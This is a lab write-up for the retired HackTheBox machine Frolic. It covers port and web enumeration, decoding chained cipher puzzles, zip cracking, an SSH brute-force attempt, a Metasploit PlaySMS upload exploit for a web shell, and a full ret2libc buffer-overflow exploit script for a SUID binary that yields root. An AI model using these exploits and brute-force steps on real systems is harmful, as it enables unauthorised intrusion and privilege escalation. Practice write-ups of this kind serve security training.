This series will follow my exercises in HackTheBox. All published writeups are for retired HTB machines. Whether or not I use Metasploit to pwn the server will be indicated in the title.
Frolic
Difficulty: Easy
Machine IP: 10.10.10.111
I start off, as always, with a couple of port scans.
sudo nmap -sS -T4 -p- 10.10.10.111
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-24 14:30 EDT
Nmap scan report for 10.10.10.111
Host is up (0.014s latency).
Not shown: 65530 closed ports
PORT STATE SERVICE
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1880/tcp open vsat-control
9999/tcp open abyss
Nmap done: 1 IP address (1 host up) scanned in 16.06 seconds
sudo nmap -sS -T4 -A -p 22,139,445,1880,9999 10.10.10.111
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-24 14:33 EDT
Nmap scan report for 10.10.10.111
Host is up (0.066s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA)
| 256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA)
|_ 256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
1880/tcp open http Node.js (Express middleware)
|_http-title: Node-RED
9999/tcp open http nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Welcome to nginx!
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.12 (95%), Linux 3.13 (95%), Linux 3.16 (95%), Linux 3.2 - 4.9 (95%), Linux 3.8 - 3.11 (95%), Linux 4.8 (95%), Linux 4.4 (95%), Linux 4.9 (95%), Linux 3.18 (95%), Linux 4.2 (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -1h44m08s, deviation: 3h10m31s, median: 5m51s
|_nbstat: NetBIOS name: FROLIC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: frolic
| NetBIOS computer name: FROLIC\x00
| Domain name: \x00
| FQDN: frolic
|_ System time: 2020-06-25T00:09:53+05:30
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-06-24T18:39:53
|_ start_date: N/A
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 83.22 ms 10.10.14.1
2 83.64 ms 10.10.10.111
I am particularly interested in seeing that tcp/1880
and tcp/9999
are web servers.
Since SMB is also open on this machine, I try to access SMB shares, but none are exposed.
smbmap -u "" -H 10.10.10.111
[+] Guest session IP: 10.10.10.111:445 Name: 10.10.10.111
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
IPC$ NO ACCESS IPC Service (frolic server (Samba, Ubuntu))
I start my enumeration with gobuster
.
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 30 -x txt,php -u http://10.10.10.111:1880/
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.111:1880/
[+] Threads: 30
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: txt,php
[+] Timeout: 10s
===============================================================
2020/06/24 14:56:51 Starting gobuster
===============================================================
/icons (Status: 401)
/red (Status: 301)
/vendor (Status: 301)
/settings (Status: 401)
/Icons (Status: 401)
/nodes (Status: 401)
/SETTINGS (Status: 401)
/flows (Status: 401)
/ICONS (Status: 401)
===============================================================
2020/06/24 15:10:34 Finished
===============================================================
Nothing particularly interesting on tcp/1880
, let’s check tcp/9999
before digging in deeper.
nikto
highlights several interesting endpoints, /admin
, /backup
, and /test
.
nikto -host http://10.10.10.111:9999/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.111
+ Target Hostname: 10.10.10.111
+ Target Port: 9999
+ Start Time: 2020-06-24 14:46:46 (GMT-4)
---------------------------------------------------------------------------
+ Server: nginx/1.10.3 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ nginx/1.10.3 appears to be outdated (current is at least 1.14.0)
+ OSVDB-3092: /admin/: This might be interesting...
+ OSVDB-3092: /backup/: This might be interesting...
+ /test/: Output from the phpinfo() function was found.
+ OSVDB-3092: /test/: This might be interesting...
+ /test/index.php: Output from the phpinfo() function was found.
+ OSVDB-3233: /test/index.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information.
+ /admin/index.html: Admin login page/section found.
+ 7865 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time: 2020-06-24 14:49:20 (GMT-4) (154 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Simultaneously running gobuster
reveals an additional endpoint of interest - /dev
.
gobuster dir -t 30 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php -u http://10.10.10.111:9999/
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.111:9999/
[+] Threads: 30
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: txt,php
[+] Timeout: 10s
===============================================================
2020/06/24 14:52:23 Starting gobuster
===============================================================
/admin (Status: 301)
/test (Status: 301)
/dev (Status: 301)
/backup (Status: 301)
/loop (Status: 301)
===============================================================
2020/06/24 15:02:01 Finished
===============================================================
Let’s start looking at these endpoints.
As nikto
found, navigating to /test
reveals the output of phpinfo()
. This has a bunch of information about the target system, but is not particularly interesting to me at this time. I note that it’s there to review later if I need it.
One particular interesting item is where the web server is located on the file system.
$_SERVER['SCRIPT_FILENAME'] /var/www/html/test/index.php
On http://10.10.10.111:9999/backup
I find what appears to be a list of files underneath this directory.
Sure enough, I find a pair of credentials here.
Looking back, these appear to be a red herring but, ok, for now let’s note them down as possible credentials.
On http://10.10.10.111:9999/admin
I find a login page. The credentials from /backup
do not work. Inspecting the source code, I see the form doesn’t actually submit a web request. Instead, it runs a validate()
function. I also see that a js/login.js
script is imported by this page.
Let’s check out its contents. Looks like I found the credentials to /admin
.
Upon successful login to the /admin
form, I get to a page with a cipher on it.
….. ….. ….. .!?!! .?… ….. ….. …?. ?!.?. ….. ….. ….. ….. ….. ..!.? ….. ….. .!?!! .?… ….. ..?.? !.?.. ….. ….. ….! ….. ….. .!.?. ….. .!?!! .?!!! !!!?. ?!.?! !!!!! !…! ….. ….. .!.!! !!!!! !!!!! !!!.? ….. ….. ….. ..!?! !.?!! !!!!! !!!!! !!!!? .?!.? !!!!! !!!!! !!!!! .?… ….. ….. ….! ?!!.? ….. ….. ….. .?.?! .?… ….. ….. …!. !!!!! !!.?. ….. .!?!! .?… …?. ?!.?. ….. ..!.? ….. ..!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?…. ….. ….. …!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. ….. ….. ….. .!?!! .?… ….. ….. …?. ?!.?. ….. !…. ….. ..!.! !!!!! !.!!! !!… ….. ….. ….! .?… ….. ….. ….! ?!!.? !!!!! !!!!! !!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?… ….! ?!!.? ….. .?.?! .?… ….. ….! .?… ….. ….. ..!?! !.?.. ….. ….. ..?.? !.?.. !.?.. ….. ..!?! !.?.. ….. .?.?! .?… .!.?. ….. .!?!! .?!!! !!!?. ?!.?! !!!!! !!!!! !!… ….. …!. ?…. ….. !?!!. ?!!!! !!!!? .?!.? !!!!! !!!!! !!!.? ….. ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!! !…. ….. ….. ….. !.!.? ….. ….. .!?!! .?!!! !!!!! !!?.? !.?!! !.?.. ….. ….! ?!!.? ….. ….. ?.?!. ?…. ….. ….. ..!.. ….. ….. .!.?. ….. …!? !!.?! !!!!! !!?.? !.?!! !!!.? ….. ..!?! !.?!! !!!!? .?!.? !!!!! !!.?. ….. …!? !!.?. ….. ..?.? !.?.. !.!!! !!!!! !!!!! !!!!! !.?.. ….. ..!?! !.?.. ….. .?.?! .?… .!.?. ….. ….. ….. .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! ….. ..!.! !!!!! !.?.
I googled around trying to figure out what this is, but wasn’t successful. I ended up dumping this entire thing into Google, which brought up a link to the Wikipedia page for the Ook! programming language. It looks like I can execute Ook! code on https://www.splitbrain.org/_static/ook/.
The result I get back is:
Nothing here check /asdiSIAJJ0QWE9JAS
All right, it’s one of these servers. I navigate to http://10.10.10.111:9999/asdiSIAJJ0QWE9JAS
.
Here I get more encoded content.
UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwAB BAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbs K1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmve EMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTj lurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkC AAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUG AAAAAAEAAQBPAAAAAwEAAAAA
Putting this content into a file and viewing it with vim
, I notice there are spaces between these lines of content. I remove them with the vim
command :s/ //g
.
I then try to decode this message as bas64
on a hunch. I get symbols back, but I don’t get a base64 error, so I know I am on the right track. I put the base64-decoded content into a file and see if my system will tell me what it is. It looks like I’ve decoded a .zip
file.
I try unzip
but it is password-protected. Luckily, zip passwords are easy to crack. I can do so with fcrackzip. My favorite wordlist to use for this kind of thing is rockyou.txt
.
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt second_cipher.zip
PASSWORD FOUND!!!!: pw == password
The cracking is nearly instantaneous. Should have tried guessing that to begin with. Unzipping this archive reveals a single file, index.php
. The content of the file is:
4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b797 37250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7 973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b79737550437 3674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5 330744c5330674c6a77724b7973670d0a4b317374506973674b7973725046306750697 3724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7 973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b317 3674c5434744c5330675046302b4c5330674c5330744c533467504373724b797367577 9302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a
Here we go again. This content looks like it is hex-encoded. I head over to CyberChef, provided by the wonderful GCHQ. If you’d rather not use their GitHUb Pages site, CyberChef can be downloaded and run entirely locally from an html file and some js.
The hex-decoded content is easily identifiable as base64 so I add that rule to CyberChef and see the result.
I know from past CTF experiences that this is the beloved brainfuck programming language. There is another decoder to use, https://www.dcode.fr/brainfuck-language, and this reveals the content:
idkwhatispass
Seems I’ve reached the end of this exercise, and got what is probably a password to something.
I don’t have a clear next direction, so I return to performing additional enumeration. I run gobuster
against the directories I’ve previously found and discover a few additional items under /dev
.
gobuster dir -t 30 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.111:9999/dev/ -x txt,php
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.111:9999/dev/
[+] Threads: 30
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: txt,php
[+] Timeout: 10s
===============================================================
2020/06/24 15:45:12 Starting gobuster
===============================================================
/test (Status: 200)
/backup (Status: 301)
===============================================================
2020/06/24 15:53:17 Finished
===============================================================
Navigating to http://10.10.10.111:9999/dev/backup
returns a page with the content /playsms
. http://10.10.10.111:9999/dev/backup/playsms
doesn’t return anything. http://10.10.10.111:9999/playsms
resolves, however, and gives me a login page for PlaySMS.
The default PlaySMS user is admin
. I take the password I found, idkwhatispass
, and successfully login to the service.
Additionally, it appears that PlaySMS is vulnerable to several exploits.
searchsploit playsms
------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------- ---------------------------------
PlaySMS - 'import.php' (Authenticated) CSV File Upload Code Execution (Metaspl | php/remote/44598.rb
PlaySMS - index.php Unauthenticated Template Injection Code Execution (Metaspl | php/remote/48335.rb
PlaySms 0.7 - SQL Injection | linux/remote/404.pl
PlaySms 0.8 - 'index.php' Cross-Site Scripting | php/webapps/26871.txt
PlaySms 0.9.3 - Multiple Local/Remote File Inclusions | php/webapps/7687.txt
PlaySms 0.9.5.2 - Remote File Inclusion | php/webapps/17792.txt
PlaySms 0.9.9.2 - Cross-Site Request Forgery | php/webapps/30177.txt
PlaySMS 1.4 - '/sendfromfile.php' Remote Code Execution / Unrestricted File Up | php/webapps/42003.txt
PlaySMS 1.4 - 'import.php' Remote Code Execution | php/webapps/42044.txt
PlaySMS 1.4 - 'sendfromfile.php?Filename' (Authenticated) 'Code Execution (Met | php/remote/44599.rb
PlaySMS 1.4 - Remote Code Execution | php/webapps/42038.txt
PlaySMS 1.4.3 - Template Injection / Remote Code Execution | php/webapps/48199.txt
------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
Most interesting to me is the code execution module in Metasploit. Let’s try it out. Searching in Metasploit, I find three modules relevant to playsms
.
exploit/multi/http/playsms_filename_exec
exploit/multi/http/playsms_template_injection
exploit/multi/http/playsms_uploadcsv_exec
The searchsploit
results mentioned CSV File Upload Code Execution
so I’ll try the third module. It gets me a user shell as www-data
.
Time to move to Information Gathering on the target system.
I see that there are two users on the system, ayush
and sahay
.
www-data@frolic:~/html/playsms$ ls -la /home
ls -la /home
total 16
drwxr-xr-x 4 root root 4096 Sep 23 2018 .
drwxr-xr-x 22 root root 4096 Sep 23 2018 ..
drwxr-xr-x 3 ayush ayush 4096 Sep 25 2018 ayush
drwxr-xr-x 7 sahay sahay 4096 Sep 25 2018 sahay
I have collected several passwords at this point, so let’s try brute forcing an SSH login as either of these two users with any of those passwords.
hydra -L users.txt -P passwords.txt ssh://10.10.10.111
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-06-24 16:08:05
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 8 tasks per 1 server, overall 8 tasks, 8 login tries (l:2/p:4), ~1 try per task
[DATA] attacking ssh://10.10.10.111:22/
1 of 1 target completed, 0 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-06-24 16:08:08
It is not successful. However, I can read the user flag from /home/ayush/user.txt
as the www-data
user.
In the ayush
home directory, there is a .binary
directory with a SETUID binary.
www-data@frolic:/home/ayush/.binary$ ls -la
ls -la
total 16
drwxrwxr-x 2 ayush ayush 4096 Sep 25 2018 .
drwxr-xr-x 3 ayush ayush 4096 Sep 25 2018 ..
-rwsr-xr-x 1 root root 7480 Sep 25 2018 rop
The fact that it has the SUID sticky bit set (-rws
) means that when I execute this file, I will execute it with the privileges of the user of the file, which is root
. That this file is named rop
(return oriented programming) makes me think this will require a buffer overflow.
Sure enough, inspecting the system calls that the binary makes with ltrace
shows that it runs setuid(0)
to run as root and then copies our input into a buffer.
www-data@frolic:/home/ayush/.binary$ ltrace ./rop id
ltrace ./rop id
__libc_start_main(0x804849b, 2, 0xbffffe84, 0x8048540 <unfinished ...>
setuid(0) = -1
strcpy(0xbffffd88, "id") = 0xbffffd88
printf("[+] Message sent: ") = 18
printf("id") = 2
+++ exited (status 0) +++
I can confirm a vulnerable buffer overflow by sending in some large input.
www-data@frolic:/home/ayush/.binary$ ./rop AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
I got a segfault, so there’s a buffer overflow here. Because it has the SUID bit set, I am sure this is how to escalate my privileges.
I begin by identifying the overflow offset - the amount of input at which the buffer begins to overflow. I use pattern_create
and pattern_offset
on Kali to identify this.
I base64-encode the rop
file, copy the base64 result, and decode it on my local machine so I can develop an exploit against this file.
gdp ./rop
artis3n@kali-pop:~/shares/htb/frolic$ msf-pattern_create -l 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Using this pattern as the input to rop
, gdb
tells me what was in the buffer at the time I hit the segfault.
gdb-peda$ r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Program received signal SIGSEGV, Segmentation fault.
0x62413762 in ?? ()
I take 0x62413762
and pass it to pattern_offset
to identify how many bytes long I need to pad my payload to overflow the buffer.
artis3n@kali-pop:~$ msf-pattern_offset -q 0x62413762
[*] Exact match at offset 52
52
it is.
Now returning to the target machine, I need to get the memory address of the libc
library used by the file.
www-data@frolic:/home/ayush/.binary$ ldd rop
ldd rop
linux-gate.so.1 => (0xb7fda000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
/lib/ld-linux.so.2 (0xb7fdb000)
I see that it is using /lib/i386-linux-gnu/libc.so.6
from the 0xb7e19000
address in memory.
I then need to grab the memory location of several symbols from libc.so.6
so I can invoke them in our exploit. From libc.so.6
I need the memory address of the executables system
, exit
, and /bin/sh
. Knowing these, I can craft an exploit known as ret2libc, or “return-to-libc.”
www-data@frolic:/home/ayush/.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -i system
grep -i systemb/i386-linux-gnu/libc.so.6 |
245: 00112f20 68 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.0
627: 0003ada0 55 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE
1457: 0003ada0 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0
The memory address of system@@GLIBC_2.0
is 0x0003ada0
.
www-data@frolic:~/html/playsms$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -i exit
-i exit -s /lib/i386-linux-gnu/libc.so.6 | grep
112: 0002edc0 39 FUNC GLOBAL DEFAULT 13 __cxa_at_quick_exit@@GLIBC_2.10
141: 0002e9d0 31 FUNC GLOBAL DEFAULT 13 exit@@GLIBC_2.0
450: 0002edf0 197 FUNC GLOBAL DEFAULT 13 __cxa_thread_atexit_impl@@GLIBC_2.18
558: 000b07c8 24 FUNC GLOBAL DEFAULT 13 _exit@@GLIBC_2.0
616: 00115fa0 56 FUNC GLOBAL DEFAULT 13 svc_exit@@GLIBC_2.0
652: 0002eda0 31 FUNC GLOBAL DEFAULT 13 quick_exit@@GLIBC_2.10
876: 0002ebf0 85 FUNC GLOBAL DEFAULT 13 __cxa_atexit@@GLIBC_2.1.3
1046: 0011fb80 52 FUNC GLOBAL DEFAULT 13 atexit@GLIBC_2.0
1394: 001b2204 4 OBJECT GLOBAL DEFAULT 33 argp_err_exit_status@@GLIBC_2.1
1506: 000f3870 58 FUNC GLOBAL DEFAULT 13 pthread_exit@@GLIBC_2.0
1849: 000b07c8 24 FUNC WEAK DEFAULT 13 _Exit@@GLIBC_2.1.1
2108: 001b2154 4 OBJECT GLOBAL DEFAULT 33 obstack_exit_failure@@GLIBC_2.0
2263: 0002e9f0 78 FUNC WEAK DEFAULT 13 on_exit@@GLIBC_2.0
2406: 000f4c80 2 FUNC GLOBAL DEFAULT 13 __cyg_profile_func_exit@@GLIBC_2.2
The memory address of exit@@GLIBC_2.0
is 0x0002e9d0
.
For /bin/sh
, since it is not a system call, I have to find the memory address by grepping for it among the human-readable text in libc.so.6
.
www-data@frolic:~/html/playsms$ strings -atx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
p "/bin/sh"x /lib/i386-linux-gnu/libc.so.6 | gre
15ba0b /bin/sh
And I see the memory address of /bin/sh
is 0x0015ba0b
.
I put all of this together in a Python exploit.
#!/usr/bin/env python
import struct
buffersled = "A"*52
libc = 0xb7e19000
system = struct.pack('<I', libc + 0x0003ada0)
exit = struct.pack('<I', libc + 0x0002e9d0)
binsh = struct.pack('<I', libc + 0x0015ba0b)
payload = buffersled + system + exit + binsh
print payload
The memory addresses I got for system
, exit
, and /bin/sh
are in relation to the memory address of libc
, so I need to add the hex value of each memory address to libc
’s hex value to get the correct position in memory. I pack the memory addresses with <I
for little-endian. And I print
the payload to turn it into the input for our rop
program.
I test the python script and see it does appear to generate the 52-byte buffer sled and then my hex code. I base64-encode the python script to move it onto my target.
artis3n@kali-pop:~/shares/htb/frolic$ python exploit.py
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�=���y��
J��
artis3n@kali-pop:~/shares/htb/frolic$ cat exploit.py | base64 -w 0
IyEvdXNyL2Jpbi9lbnYgcHl0aG9uCgppbXBvcnQgc3RydWN0CgpidWZmZXJzbGVkID0gIkEiKjUyCgpsaWJjID0gMHhiN2UxOTAwMApzeXN0ZW0gPSBzdHJ1Y3QucGFjaygnPEknLCBsaWJjICsgMHgwMDAzYWRhMCkKZXhpdCA9IHN0cnVjdC5wYWNrKCc8SScsIGxpYmMgKyAweDAwMDJlOWQwKQpiaW5zaCA9IHN0cnVjdC5wYWNrKCc8SScsIGxpYmMgKyAweDAwMTViYTBiKQoKcGF5bG9hZCA9IGJ1ZmZlcnNsZWQgKyBzeXN0ZW0gKyBleGl0ICsgYmluc2gKCnByaW50IHBheWxvYWQKCg==
I then store the code into a file.
www-data@frolic:/dev/shm$ echo -n IyEvdXNyL2Jpbi9lbnYgcHl0aG9uCgppbXBvcnQgc3RydWN0CgpidWZmZXJzbGVkID0gIkEiKjUyCgpsaWJjID0gMHhiN2UxOTAwMApzeXN0ZW0gPSBzdHJ1Y3QucGFjaygnPEknLCBsaWJjICsgMHgwMDAzYWRhMCkKZXhpdCA9IHN0cnVjdC5wYWNrKCc8SScsIGxpYmMgKyAweDAwMDJlOWQwKQpiaW5zaCA9IHN0cnVjdC5wYWNrKCc8SScsIGxpYmMgKyAweDAwMTViYTBiKQoKcGF5bG9hZCA9IGJ1ZmZlcnNsZWQgKyBzeXN0ZW0gKyBleGl0ICsgYmluc2gKCnByaW50IHBheWxvYWQKCg== | base64 -d > exploit.py
And I can confirm the python script has made it.
www-data@frolic:/dev/shm$ cat exploit.py
cat exploit.py
#!/usr/bin/env python
import struct
buffersled = "A"*52
libc = 0xb7e19000
system = struct.pack('<I', libc + 0x0003ada0)
exit = struct.pack('<I', libc + 0x0002e9d0)
binsh = struct.pack('<I', libc + 0x0015ba0b)
payload = buffersled + system + exit + binsh
print payload
www-data@frolic:/dev/shm$
With my payload on the box, I just need to call rop
and pass in the output of the python script’s execution. And I get a root shell.
www-data@frolic:/home/ayush/.binary$ ./rop $(python /dev/shm/exploit.py)
./rop $(python /dev/shm/exploit.py)
id
uid=0(root) gid=33(www-data) groups=33(www-data)
I can now collect the root flag.